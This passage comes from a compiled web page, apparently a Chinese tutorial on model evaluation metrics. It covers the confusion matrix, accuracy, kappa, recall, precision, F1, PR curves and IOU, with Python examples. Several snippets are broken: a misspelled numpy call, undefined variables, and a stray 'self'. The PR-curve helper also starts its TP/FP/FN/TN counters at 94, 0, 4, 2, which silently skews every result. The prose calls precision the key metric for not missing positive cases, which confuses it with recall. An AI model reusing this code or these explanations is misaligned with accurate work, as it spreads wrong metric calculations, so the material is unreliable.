\uff0c\u6211\u4eec\u5c06\u4f1a\u5b66\u4e60\u5230\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"\u6a21\u578b\u5e38\u7528\u7684\u76f8\u5173\u8bc4\u4ef7\u6307\u6807"}),"\n",(0,l.jsx)(e.li,{children:"\u4e0d\u540c\u8bc4\u4ef7\u6307\u6807\u7684\u9002\u5e94\u6027\u4ee5\u53ca\u4f18\u7f3a\u70b9"}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"\u6df7\u6dc6\u77e9\u9635",children:"\u6df7\u6dc6\u77e9\u9635"}),"\n",(0,l.jsxs)(e.p,{children:["\u6df7\u6dc6\u77e9\u9635\uff08\u4e5f\u79f0\u8bef\u5dee\u77e9\u9635\uff09\u662f\u673a\u5668\u5b66\u4e60\u548c\u6df1\u5ea6\u5b66\u4e60\u4e2d\u8868\u793a\u7cbe\u5ea6\u8bc4\u4ef7\u7684\u4e00\u79cd\u6807\u51c6\u683c\u5f0f\uff0c\u5e38\u7528n\u884cn\u5217\u7684\u77e9\u9635\u5f62\u5f0f\u6765\u8868\u793a\u3002\u5176\u5217\u4ee3\u8868\u7684\u662f\u9884\u6d4b\u7684\u7c7b\u522b\uff0c\u884c\u4ee3\u8868\u7684\u662f\u5b9e\u9645\u7684\u7c7b\u6807\uff0c\u4ee5\u4e00\u4e2a\u5e38\u89c1\u7684\u4e8c\u5206\u7c7b\u7684\u6df7\u6dc6\u77e9\u9635\u4e3a\u4f8b\u3002\u6211\u4eec\u4f1a\u53d1\u73b0\u4e8c\u5206\u7c7b\u7684\u6df7\u6dc6\u77e9\u9635\u5305\u62ec",(0,l.jsx)(e.strong,{children:"TP, FP, FN, TN"}),"\uff0c\u5176\u4e2dTP\u4e3aTrue Positive\uff0cTrue\u4ee3\u8868\u5b9e\u9645\u548c\u9884\u6d4b\u76f8\u540c\uff0cPositive\u4ee3\u8868\u9884\u6d4b\u4e3a\u6b63\u6837\u672c\u3002\u540c\u7406\u53ef\u5f97\uff0cFalse Positive (FP)\u4ee3\u8868\u7684\u662f\u5b9e\u9645\u7c7b\u522b\u548c\u9884\u6d4b\u7c7b\u6807\u4e0d\u540c\uff0c\u5e76\u4e14\u9884\u6d4b\u7c7b\u522b\u4e3a\u6b63\u6837\u672c\uff0c\u5b9e\u9645\u7c7b\u522b\u4e3a\u8d1f\u6837\u672c\uff1bFalse Negative (FN)\u4ee3\u8868\u7684\u662f\u5b9e\u9645\u7c7b\u522b\u548c\u9884\u6d4b\u7c7b\u6807\u4e0d\u540c\uff0c\u5e76\u4e14\u9884\u6d4b\u7c7b\u522b\u4e3a\u8d1f\u6837\u672c\uff0c\u5b9e\u9645\u7c7b\u522b\u4e3a\u6b63\u6837\u672c\uff1bTrue Negative (TN)\u4ee3\u8868\u7684\u662f\u5b9e\u9645\u7c7b\u522b\u548c\u9884\u6d4b\u7c7b\u6807\u76f8\u540c\uff0c\u9884\u6d4b\u7c7b\u522b\u548c\u5b9e\u9645\u7c7b\u522b\u5747\u4e3a\u8d1f\u6837\u672c\u3002"]}),"\n",(0,l.jsx)(e.img,{src:"figures/confusion_matrix.png",align:"center",style:{zoom:"50%"}}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u8fd9\u91cc\u6211\u4eec\u4ee5\u4e00\u4e2a\u4e8c\u5206\u7c7b\u7684\u4f8b\u5b50\u6765\u5e2e\u52a9\u5927\u5bb6\u7406\u89e3\u3002\u5047\u8bbe\u6211\u4eec\u662f\u67d0\u6838\u9178\u68c0\u6d4b\u673a\u6784\uff0c\u5c06\u5bf9100\u4e2a\u4eba\u8fdb\u884c\u6838\u9178\u68c0\u6d4b\uff0c\u5b9e\u9645\u7ed3\u679c\u4e3a98\u4e2a\u9634\u6027\uff0c2\u4e2a\u9633\u6027\uff0c\u4f46\u662f\u6211\u4eec\u7684\u6a21\u578b\u5bf9\u6838\u9178\u68c0\u6d4b\u7ed3\u679c\u8fdb\u884c\u9884\u6d4b\uff0c\u9884\u6d4b\u7ed3\u679c\u4e3a94\u4e2a\u9634\u6027\uff0c6\u4e2a\u9633\u6027\u7ed3\u679c\uff0c\u5728\u8fd9\u91cc\u6211\u4eec\u5b9a\u4e49\u6838\u9178\u7ed3\u679c\u9634\u6027\u4e3a\u6b63\u6837\u672c\uff0c\u6838\u9178\u7ed3\u679c\u9633\u6027\u4e3a\u8d1f\u6837\u672c\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0cTP\u4ee3\u8868\u5b9e\u9645\u4e3a\u9634\u6027\u4e14\u88ab\u9884\u6d4b\u4e3a\u9634\u6027\u7684\u6570\u91cf\uff0c\u5171\u670994\u4eba\uff1bFP\u4ee3\u8868\u5b9e\u9645\u4e3a\u9633\u6027\uff0c\u6a21\u578b\u9884\u6d4b\u4e3a\u9634\u6027\u7684\u6570\u91cf\uff0c\u5171\u67090\u4eba\uff1bFN\u4ee3\u8868\u5b9e\u9645\u4e3a\u9634\u6027\u88ab\u6a21\u578b\u5224\u65ad\u4e3a\u9633\u6027\u7684\u6570\u91cf\uff0c\u5171\u67094\u4eba\uff1bTN\u4ee3\u8868\u5b9e\u9645\u4e3a\u9633\u6027\uff0c\u88ab\u6a21\u578b\u8bc6\u522b\u4e3a\u9633\u6027\u7684\u6570\u91cf\uff0c\u5171\u67092\u4eba\u3002 \u4e8e\u662f\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u4e0b\u9762\u7684\u8fd9\u4e2a\u6df7\u6dc6\u77e9\u9635\u3002"}),"\n",(0,l.jsx)(e.p,{children:"$$\n\\begin{bmatrix}\n94 & 0 \\\n4 & 2\n\\end{bmatrix} \\tag{2}\n$$"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u5728\u6b64\u4e5f\u5c55\u793a\u4e00\u4e2a10\u7c7b\u6807+1\u4e2a\u80cc\u666f\u6240\u4ea7\u751f\u7684\u5f52\u4e00\u5316\u7684\u6df7\u6dc6\u77e9\u9635"}),"\n",(0,l.jsx)(e.img,{src:"figures/normalized_confusion_matrix.png",align:"center",style:{zoom:"50%"}}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u62e5\u6709\u6df7\u6dc6\u77e9\u9635\u540e\uff0c\u53ef\u4ee5\u8ba1\u7b97Accuracy\uff0cPrecision\uff0cRecall\uff0cF1 Score\u7b49\u8861\u91cf\u6a21\u578b\u7684\u8bc4\u4ef7\u6307\u6807\u3002\u5173\u4e8e\u6df7\u6dc6\u77e9\u9635\u7684\u4ee3\u7801\u5b9e\u73b0\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"sklearn.metrics.confusion_matrix()"}),"\u51fd\u6570\u8fdb\u884c\u8ba1\u7b97"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:"from sklearn.metrics import confusion_matrix\ndef compute_confusion_matrix(labels,pred_labels_list,gt_labels_list):\n pred_labels_list = np.asarray(pred_labels_list)\n gt_labels_list = np.assarray(gt_labels_list)\n matrix = confusion_matrix(test_label_list,\n pred_label_list,\n labels=labels)\n return matrix\n"})}),"\n",(0,l.jsx)(e.h2,{id:"overall-accuracy",children:"Overall Accuracy"}),"\n",(0,l.jsx)(e.p,{children:"Overall Accuracy\u4ee3\u8868\u4e86\u6240\u6709\u9884\u6d4b\u6b63\u786e\u7684\u6837\u672c\u5360\u6240\u6709\u9884\u6d4b\u6837\u672c\u603b\u6570\u7684\u6bd4\u4f8b\uff0c\u7ed3\u5408\u4e0a\u8ff0\u4f8b\u5b50\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u4e0b\u8ff0\u516c\u5f0f\u8868\u793a\uff1a\n$$\n\\rm{OA} =\\frac{\\rm{TP+TN}}{\\rm{TP+TN+FP+FN}} = \\frac{N_{correct}}{N_{total}}\n$$\n\u8fd9\u91cc\u7684\u5206\u7c7b\u6b63\u786e\u4ee3\u8868\u4e86\u6b63\u6837\u672c\u88ab\u6b63\u786e\u5206\u7c7b\u4e3a\u6b63\u6837\u672c\uff0c\u8d1f\u6837\u672c\u6b63\u786e\u5206\u7c7b\u4e3a\u8d1f\u6837\u672c\u3002\u51c6\u786e\u7387\u662f\u63cf\u8ff0\u6a21\u578b\u6700\u7b80\u5355\u7684\u6307\u6807\uff0cAcc\u7684\u7f3a\u70b9\u4e3b\u8981\u5728\u4e8e\u5047\u5982\u8bf4\u6211\u4eec\u4e3e\u5f97\u4f8b\u5b50\uff0c\u5728\u6837\u672c\u4e2d\uff0c\u6838\u9178\u7ed3\u679c\u6210\u9634\u6027\u5360\u636e\u4e86\u6a21\u578b98%\uff0c\n\u5047\u5982\u8bf4\u6a21\u578b\u4e0d\u8c03\u8bd5\u5206\u7c7b\uff0c\u6211\u53ea\u8981\u4e00\u76f4\u5224\u65ad\u6838\u9178\u7ed3\u679c\u5448\u9634\u6027\uff0c\u90a3\u6211\u4eec\u7684\u6a21\u578b\u6700\u7ec8\u6548\u679c\u53ef\u80fd\u4f1a\u66f4\u597d\uff0c\u4f46\u662f\u5b9e\u9645\u4e0a\u6a21\u578b\u7684\u6548\u7387\u4ee5\u53ca\u51c6\u786e\u7387\u90fd\u662f\u975e\u5e38\u4f4e\u4e0b\u7684\u3002\u5f53\u6211\u4eec\u7684\u6837\u672c\u6b63\u8d1f\u6837\u672c\u6781\u7aef\u4e0d\u5e73\u8861\u65f6Acc\u8fd9\u4e2a\u8bc4\u4ef7\u6307\u6807\u5176\u5b9e\u662f\u6ca1\u6709\u610f\u4e49\u7684\u3002\u6211\u4eec\u518d\u56de\u5230\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u53ef\u4ee5\u8ba1\u7b97\u5728\u8be5\u4f8b\u5b50\u4e2dAcc = 0.96.\n$$\nOA=\\frac{\\rm{TP+TN}}{100}= \\frac{96}{100}= 0.96\n$$"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:'def compute_oa(matrix):\n """\n \u8ba1\u7b97\u603b\u4f53\u51c6\u786e\u7387,OA=(TP+TN)/(TP+TN+FP+FN)\n :param matrix:\n :return:\n """\n return np.trace(matrix) / np.sum(matrix)\n'})}),"\n",(0,l.jsx)(e.h2,{id:"average-accuracy",children:"Average accuracy"}),"\n",(0,l.jsx)(e.p,{children:"Average accuracy( AA) \u4ee3\u8868\u7684\u662f\u5e73\u5747\u7cbe\u5ea6\u7684\u8ba1\u7b97\uff0c\u5e73\u5747\u7cbe\u5ea6\u8ba1\u7b97\u7684\u662f\u6bcf\u4e00\u7c7b\u9884\u6d4b\u6b63\u786e\u7684\u6837\u672c\u4e0e\u8be5\u7c7b\u603b\u4f53\u6570\u91cf\u4e4b\u95f4\u7684\u6bd4\u503c\uff0c\u6700\u7ec8\u518d\u53d6\u6bcf\u4e00\u7c7b\u7684\u7cbe\u5ea6\u7684\u5e73\u5747\u503c\u3002\u4ee3\u7801\u5b9e\u73b0\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528numpy\u7684diag\u5c06\u6df7\u6dc6\u77e9\u9635\u7684\u5bf9\u89d2\u7ebf\u5143\u7d20\u53d6\u51fa\uff0c\u5e76\u4e14\u5bf9\u4e8e\u6df7\u6dc6\u77e9\u9635\u8fdb\u884c\u5217\u6c42\u548c\uff0c\u7528\u5bf9\u89d2\u7ebf\u5143\u7d20\u9664\u4ee5\u6c42\u548c\u540e\u7684\u7ed3\u679c\uff0c\u6700\u540e\u5bf9\u7ed3\u679c\u8ba1\u7b97\u6c42\u51fa\u5e73\u5747\u503c\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:'def compute_aa(matrix):\n """\n \u8ba1\u7b97\u6bcf\u4e00\u7c7b\u7684\u51c6\u786e\u7387,AA=(TP/(TP+FN)+TN/(FP+TN))/2\n :param matrix:\n :return:\n """\n return np.mean(np.diag(matrix) / np.sum(matrix, axis=1))\n'})}),"\n",(0,l.jsx)(e.h2,{id:"kappa\u7cfb\u6570",children:"Kappa\u7cfb\u6570"}),"\n",(0,l.jsx)(e.p,{children:"Kappa\u7cfb\u6570\u662f\u4e00\u4e2a\u7528\u4e8e\u4e00\u81f4\u6027\u68c0\u9a8c\u7684\u6307\u6807\uff0c\u4e5f\u53ef\u4ee5\u7528\u4e8e\u8861\u91cf\u5206\u7c7b\u7684\u6548\u679c\u3002\u5bf9\u4e8e\u5206\u7c7b\u95ee\u9898\u800c\u8a00\uff0c\u4e00\u81f4\u6027\u5c31\u662f\u6a21\u578b\u9884\u6d4b\u7ed3\u679c\u548c\u5b9e\u9645\u5206\u7c7b\u7ed3\u679c\u662f\u5426\u4e00\u81f4\u3002kappa\u7cfb\u6570\u7684\u8ba1\u7b97\u540c\u6837\u4e5f\u662f\u57fa\u4e8e\u6df7\u6dc6\u77e9\u9635\u8fdb\u884c\u8ba1\u7b97\uff0c\u53d6\u503c\u4e3a-1\u52301\u4e4b\u95f4,\u901a\u5e38\u5927\u4e8e0\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u4e0b\u8ff0\u516c\u5f0f\u8fdb\u884c\u8ba1\u7b97\uff1a\n$$\nkappa = \\frac{p_o-p_e}{1-p_e}\\\np_o = OA\\\np_e = \\frac{\\sum_{i} (x_i \\cdot x_j)}{(\\sum_{j=0}^n\\sum_{i=0}^{n} x_{ij})^2}\n$$"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:'def compute_kappa(matrix):\n """\n \u8ba1\u7b97kappa\u7cfb\u6570\n :param matrix:\n :return:\n """\n oa = self.compute_oa(matrix)\n pe = 0\n for i in range(len(matrix)):\n pe += np.sum(matrix[i]) * np.sum(matrix[:, i])\n pe = pe / np.sum(matrix) ** 2\n return (oa - pe) / (1 - pe)\n'})}),"\n",(0,l.jsx)(e.h2,{id:"recall",children:"Recall"}),"\n",(0,l.jsx)(e.p,{children:"Recall\u4e5f\u79f0\u53ec\u56de\u7387\uff0c\u4ee3\u8868\u4e86\u5b9e\u9645\u4e3a\u6b63\u6837\u672c\u5e76\u4e14\u4e5f\u88ab\u6b63\u786e\u8bc6\u522b\u4e3a\u6b63\u6837\u672c\u7684\u6570\u91cf\u5360\u6837\u672c\u4e2d\u6240\u6709\u4e3a\u6b63\u6837\u672c\u7684\u6bd4\u4f8b\uff0c\u53ef\u4ee5\u7528\u4e0b\u8ff0\u516c\u5f0f\u8fdb\u884c\u8868\u793a\n$$\n\\rm{Recall} = \\frac{\\rm{TP}}{\\rm{TP + FN}}\n$$"}),"\n",(0,l.jsx)(e.p,{children:"Recall\u662f\u5224\u65ad\u6a21\u578b\u6b63\u786e\u8bc6\u522b\u6240\u6709\u6b63\u6837\u672c\u7684\u80fd\u529b\u3002\u7ed3\u5408\u6211\u4eec\u6240\u4e3e\u7684\u4f8b\u5b50\uff0c\u4ee3\u8868\u4e86\u6a21\u578b\u5bf9\u4e8e\u6b63\u6837\u672c\u7684\u8bc6\u522b\u80fd\u529b\uff0c\u4e5f\u80fd\u8f83\u597d\u7684\u53cd\u5e94\u6a21\u578b\u7684\u4f18\u52a3\u3002\u4e0ePrecision\u4e0d\u540c\u7684\u662f\uff0c\u6211\u4eec\u662f\u53cd\u6620\u4e86\u6a21\u578b\u9884\u6d4b\u65f6\u5019\u6709\u591a\u5c11\u9634\u6027\uff08\u6b63\u6837\u672c\uff09\u88ab\u68c0\u6d4b\u51fa\u6765\u3002\u5728\u4f8b\u5b50\u4e2d\u4ee3\u8868\u4e86\u5b9e\u9645\u4e3a\u9634\u6027\u88ab\u6a21\u578b\u6b63\u786e\u5224\u65ad\u4e3a\u9634\u6027\u7684\u6570\u91cf\u5360\u5b9e\u9645\u4e3a\u9634\u6027\u7684\u6bd4\u4f8b\uff0c\u5373\n$$\n\\rm{Recall} = \\frac{94}{98}=0.959\n$$"}),"\n",(0,l.jsx)(e.h2,{id:"precision",children:"Precision"}),"\n",(0,l.jsx)(e.p,{children:"Precision\u4e5f\u79f0\u7cbe\u51c6\u7387\uff0c\u4ee3\u8868\u7684\u662f\u5728\u5168\u90e8\u9884\u6d4b\u4e3a\u6b63\u7684\u7ed3\u679c\u4e2d\uff0c\u88ab\u9884\u6d4b\u6b63\u786e\u7684\u6b63\u6837\u672c\u6240\u5360\u7684\u6bd4\u4f8b\uff0c\u53ef\u4ee5\u7528\u4e0b\u8ff0\u516c\u5f0f\u8fdb\u884c\u8868\u793a\n$$\n\\rm{Precision} = \\frac{\\rm{TP}}{\\rm{TP + FP}}\n$$\nFP\u4ee3\u8868\u4e86\u9633\u6027\u60a3\u8005\u88ab\u9884\u6d4b\u4e3a\u9634\u6027\uff08\u6b63\u6837\u672c\uff09\uff0cTP\u4ee3\u8868\u4e86\u9634\u6027\u88ab\u6b63\u786e\u9884\u6d4b\u4e3a\u9634\u6027\u3002\u76f8\u8f83\u4e8eAcc\uff0cPrecision\u66f4\u80fd\u8f83\u597d\u7684\u53cd\u5e94\u51fa\u6a21\u578b\u5bf9\u4e8e\u6b63\u6837\u672c\uff08\u9634\u6027\uff09\u8bc6\u522b\u80fd\u529b\u3002\u548cRecall\u4e0d\u540c\u7684\u662f\uff0cPrecision\u4ee3\u8868\u4e86\u9884\u6d4b\u7ed3\u679c\u4e2d\u6709\u591a\u5c11\u6837\u672c\u662f\u5206\u7c7b\u6b63\u786e\u7684\u3002\n\u5728\u5b9e\u9645\u5e94\u7528\u573a\u666f\u4e2d\uff0c\u6211\u4eec\u7ee7\u7eed\u7ed3\u5408\u6838\u9178\u7684\u4f8b\u5b50\uff0c\u5f53\u6211\u4eec\u5728\u8fdb\u884c\u5168\u9762\u6838\u9178\u68c0\u6d4b\u65f6\uff0c\u6211\u4eec\u7684\u5e0c\u671b\u5728\u4e8e\u6a21\u578b\u5c3d\u53ef\u80fd\u5c11\u7684\u6f0f\u6389\u9633\u6027\u60a3\u8005\uff0c\u6b64\u65f6\u8ba4\u4e3a\u6a21\u578bPrecision\u663e\u5f97\u66f4\u4e3a\u91cd\u8981\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"f1",children:"F1"}),"\n",(0,l.jsx)(e.p,{children:"$$\n\\rm{F_1} = 2\\cdot\\frac{P\\times R}{P+R} = \\frac{2TP}{FP+FN+2TP}\n$$"}),"\n",(0,l.jsx)(e.p,{children:"F1\u5728\u6a21\u578b\u8bc4\u4f30\u4e2d\u4e5f\u662f\u4e00\u79cd\u91cd\u8981\u7684\u8bc4\u4ef7\u6307\u6807\uff0cF1\u53ef\u4ee5\u89e3\u91ca\u4e3a\u53ec\u56de\u7387\uff08Recall\uff09\u548cP\uff08\u7cbe\u786e\u7387\uff09\u7684\u52a0\u6743\u5e73\u5747\uff0cF1\u8d8a\u9ad8\uff0c\u8bf4\u660e\u6a21\u578b\u9c81\u68d2\u6027\u8d8a\u597d\u3002\u4eba\u4eec\u5e0c\u671b\u6709\u4e00\u79cd\u66f4\u52a0\u5e7f\u4e49\u7684\u65b9\u6cd5\u5b9a\u4e49F-score\uff0c\u5e0c\u671b\u53ef\u4ee5\u6539\u53d8P\u548cR\u7684\u6743\u91cd\uff0c\u4e8e\u662f\u4eba\u4eec\u5b9a\u4e49\u4e86$F_{\\beta}$\uff0c\u5176\u5b9a\u4e49\u5f0f\u5982\u4e0b\uff1a\n$$\n\\rm{F_{\\beta}}=\\frac{\\left(1+\\beta^{2}\\right) \\times P \\times R}{\\left(\\beta^{2} \\times P\\right)+R}\n$$"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"\u5f53 $\\beta$ > 1 \u65f6\uff0c\u66f4\u504f\u597d\u53ec\u56de(Recall)"}),"\n",(0,l.jsx)(e.li,{children:"\u5f53 $\\beta$ < 1 \u65f6\uff0c\u66f4\u504f\u597d\u7cbe\u51c6(Precision)"}),"\n",(0,l.jsx)(e.li,{children:"\u5f53 $\\beta$ = 1 \u65f6\uff0c\u5e73\u8861\u7cbe\u51c6\u548c\u53ec\u56de\uff0c\u5373\u4e3a F1"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u5f53\u6709\u591a\u4e2a\u6df7\u6dc6\u77e9\u9635\uff08\u591a\u6b21\u8bad\u7ec3\u3001\u591a\u4e2a\u6570\u636e\u96c6\u3001\u591a\u5206\u7c7b\u4efb\u52a1\uff09\u65f6\uff0c\u6709\u4e24\u79cd\u65b9\u5f0f\u4f30\u7b97 \u201c\u5168\u5c40\u201d \u6027\u80fd\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"macro \u65b9\u6cd5\uff1a\u5148\u8ba1\u7b97\u6bcf\u4e2a PR\uff0c\u53d6\u5e73\u5747\u540e\uff0c\u518d\u8ba1\u7b97 F1"}),"\n",(0,l.jsx)(e.li,{children:"micro \u65b9\u6cd5\uff1a\u5148\u8ba1\u7b97\u6df7\u6dc6\u77e9\u9635\u5143\u7d20\u7684\u5e73\u5747\uff0c\u518d\u8ba1\u7b97 PR \u548c F1"}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"pr\u66f2\u7ebf",children:"PR\u66f2\u7ebf"}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u5e38\u7528\u6307\u6807\u4e2d\uff0cPR\u66f2\u7ebf\u4e5f\u80fd\u5f88\u76f4\u89c2\u7684\u53cd\u5e94\u6a21\u578b\u597d\u574f\u3002\u6211\u4eec\u7528\u4e00\u526f\u7ecf\u5178\u56fe\u6765\u8bf4\u660e\u95ee\u9898\uff1a"}),"\n",(0,l.jsx)(e.img,{src:"figures/PR.png",align:"center",style:{zoom:"100%"}}),"\n",(0,l.jsx)(e.p,{children:"\u6a2a\u8f74\u662f\u53ec\u56de\u7387\uff0c\u7eb5\u8f74\u4ee3\u8868\u4e86P\uff08\u7cbe\u786e\u7387)\uff0cP-R\u66f2\u7ebf\u4e0a\u7684\u4e00\u4e2a\u70b9\u4ee3\u8868\u7740\uff0c\u5728\u67d0\u4e00\u9608\u503c\u4e0b\uff0c\u6a21\u578b\u5c06\u5927\u4e8e\u8be5\u9608\u503c\u7684\u7ed3\u679c\u5224\u5b9a\u4e3a\u6b63\u6837\u672c\uff0c\u5c0f\u4e8e\u8be5\u9608\u503c\u7684\u7ed3\u679c\u5224\u5b9a\u4e3a\u8d1f\u6837\u672c\uff0c\u6b64\u65f6\u8fd4\u56de\u7ed3\u679c\u5bf9\u5e94\u7684\u53ec\u56de\u7387\u548c\u7cbe\u786e\u7387\u3002\u6574\u6761P-R\u66f2\u7ebf\u662f\u901a\u8fc7\u5c06\u9608\u503c\u4ece\u9ad8\u5230\u4f4e\u79fb\u52a8\u800c\u751f\u6210\u7684\u3002\u539f\u70b9\u9644\u8fd1\u4ee3\u8868\u5f53\u9608\u503c\u6700\u5927\u65f6\u6a21\u578b\u7684\u7cbe\u786e\u7387\u548c\u53ec\u56de\u7387\uff0c\u5728PR\u66f2\u7ebf\u6211\u4eec\u53ef\u4ee5\u4ece\u56fe\u4e2d\u76f4\u89c2\u7684\u770b\u5230\u67d0\u4e00\u4e2a\u66f2\u7ebf\u88ab\u53e6\u5916\u4e00\u6761\u66f2\u7ebf\u5b8c\u5168\u5305\u88f9\uff0c\u6240\u5305\u56f4\u7684\u9762\u79ef\u5927\u4e8e\u53e6\u4e00\u6761\u66f2\u7ebf\u5305\u56f4\u7684\u9762\u79ef\uff0c\u4e3e\u4f8b\u56fe\u4e2d\u53ef\u4ee5\u8bf4\u660eA\u6a21\u578b\u7684\u6027\u80fd\u4f18\u4e8eB\u548cC\u3002\n\u53c2\u8003\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:"from typing import List, Tuple\nimport matplotlib.pyplot as plt\n\ndef get_confusion_matrix(\n y_pred: List[int], \n y_true: List[int]\n ) -> Tuple[int, int, int, int]:\n \n length = len(y_pred)\n assert length == len(y_true)\n tp, fp, fn, tn = 94, 0, 4, 2\n for i in range(length):\n if y_pred[i] == y_true[i] and y_pred[i] == 1:\n tp += 1\n elif y_pred[i] == y_true[i] and y_pred[i] == 0:\n tn += 1\n elif y_pred[i] == 1 and y_true[i] == 0:\n fp += 1\n elif y_pred[i] == 0 and y_true[i] == 1:\n fn += 1\n return (tp, fp, tn, fn)\ndef calc_p(tp: int, fp: int) -> float:\n return tp / (tp + fp)\ndef calc_r(tp: int, fn: int) -> float:\n return tp / (tp + fn)\ndef get_pr_pairs(\n y_pred_prob: List[float], \n y_true: List[int]\n\t) -> Tuple[List[int], List[int]]:\n ps = [1]\n rs = [0]\n for prob1 in y_pred_prob:\n y_pred_i = []\n for prob2 in y_pred_prob:\n if prob2 < prob1:\n y_pred_i.append(0)\n else:\n y_pred_i.append(1)\n tp, fp, tn, fn = get_confusion_matrix(y_pred_i, y_true)\n p = calc_p(tp, fp)\n r = calc_r(tp, fn)\n ps.append(p)\n rs.append(r)\n ps.append(0)\n rs.append(1)\n return ps, rs\n\ny_pred_prob = [0.9, 0.8, 0.7, 0.6, 0.55, 0.54, 0.53, 0.52, 0.51, 0.505,\n 0.4, 0.39, 0.38, 0.37, 0.36, 0.35, 0.34, 0.33, 0.3, 0.1]\ny_true = [1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0]\ny_pred = [1] * 10 + [0] * 10\nps, rs = get_pr_pairs(y_pred_prob, y_true)\nfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(12, 5))\nax.plot(rs, ps);\n"})}),"\n",(0,l.jsx)(e.h2,{id:"\u7f6e\u4fe1\u5ea6",children:"\u7f6e\u4fe1\u5ea6"}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u76ee\u6807\u68c0\u6d4b\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u9700\u8981\u5c06\u8fb9\u754c\u6846\u5185\u7269\u4f53\u5212\u5206\u4e3a\u6b63\u6837\u672c\u548c\u8d1f\u6837\u672c\u3002\u6211\u4eec\u4f7f\u7528\u7f6e\u4fe1\u5ea6\u8fd9\u4e2a\u6307\u6807\u6765\u8fdb\u884c\u5212\u5206\uff0c\u5f53\u5c0f\u4e8e\u7f6e\u4fe1\u5ea6\u8bbe\u7f6e\u7684\u9608\u503c\u5224\u5b9a\u4e3a\u8d1f\u6837\u672c\uff08\u80cc\u666f\uff09\uff0c\u5927\u4e8e\u7f6e\u4fe1\u5ea6\u8bbe\u7f6e\u7684\u9608\u503c\u5224\u5b9a\u4e3a\u6b63\u6837\u672c."}),"\n",(0,l.jsx)(e.h2,{id:"iou",children:"IOU"}),"\n",(0,l.jsx)(e.p,{children:"\u96c5\u5361\u5c14\u6307\u6570( Jaccard index)\uff0c\u4ea4\u5e76\u6bd4\uff0c\u4e5f\u662f\u6211\u4eec\u5728\u76ee\u6807\u68c0\u6d4b\u548c\u8bed\u4e49\u5206\u5272\u9886\u57df\u7ecf\u5e38\u89c1\u5230\u7684IOU\u3002 IOU\u53ef\u4ee5\u53bb\u9664\u76ee\u6807\u68c0\u6d4b\u7684\u5197\u4f59\u6846\u8fdb\u884c\u540e\u5904\u7406\u4f18\u5316\u5e76\u4e14\u8fd8\u53ef\u4ee5\u8ba1\u7b97Loss\u8fbe\u5230\u4f18\u5316\u6a21\u578b\u7684\u6548\u679c\u3002\n$$\n\\rm{IOU} = \\frac{A\\cap B}{A\\cup B}=\\frac{S_{\u4ea4\u96c6}}{S_{\u5e76\u96c6}}\n$$\n\u5206\u5b50\u90e8\u5206\u662f\u6a21\u578b\u9884\u6d4b\u6846\u4e0e\u771f\u5b9e\u6807\u6ce8\u6846\u4e4b\u95f4\u7684\u91cd\u53e0\u533a\u57df\uff0c\u5206\u6bcd\u90e8\u5206\u662f\u4e24\u8005\u7684\u5e76\u96c6\uff0c\u9884\u6d4b\u6846\u548c\u5b9e\u9645\u6846\u6240\u5360\u6709\u7684\u603b\u533a\u57df\uff0c\u5728\u5b9e\u9645\u6a21\u578b\u8bc6\u522b\u65f6\u4f1a\u6839\u636e\u6211\u4eec\u81ea\u5df1\u8bbe\u5b9a\u5408\u9002\u7684\u9608\u503c\u6765\u5224\u5b9a\u6b63\u8d1f\u6837\u672c\u3002"}),"\n",(0,l.jsx)(e.img,{src:"figures/IOU.png",align:"center",style:{zoom:"80%"}}),"\n",(0,l.jsx)(e.p,{children:"\u4e00\u822c\u60c5\u51b5\u4e0b\u5728\u76ee\u6807\u68c0\u6d4b\u4efb\u52a1\u4e2d\uff0c\u4eba\u4eec\u5c06IOU 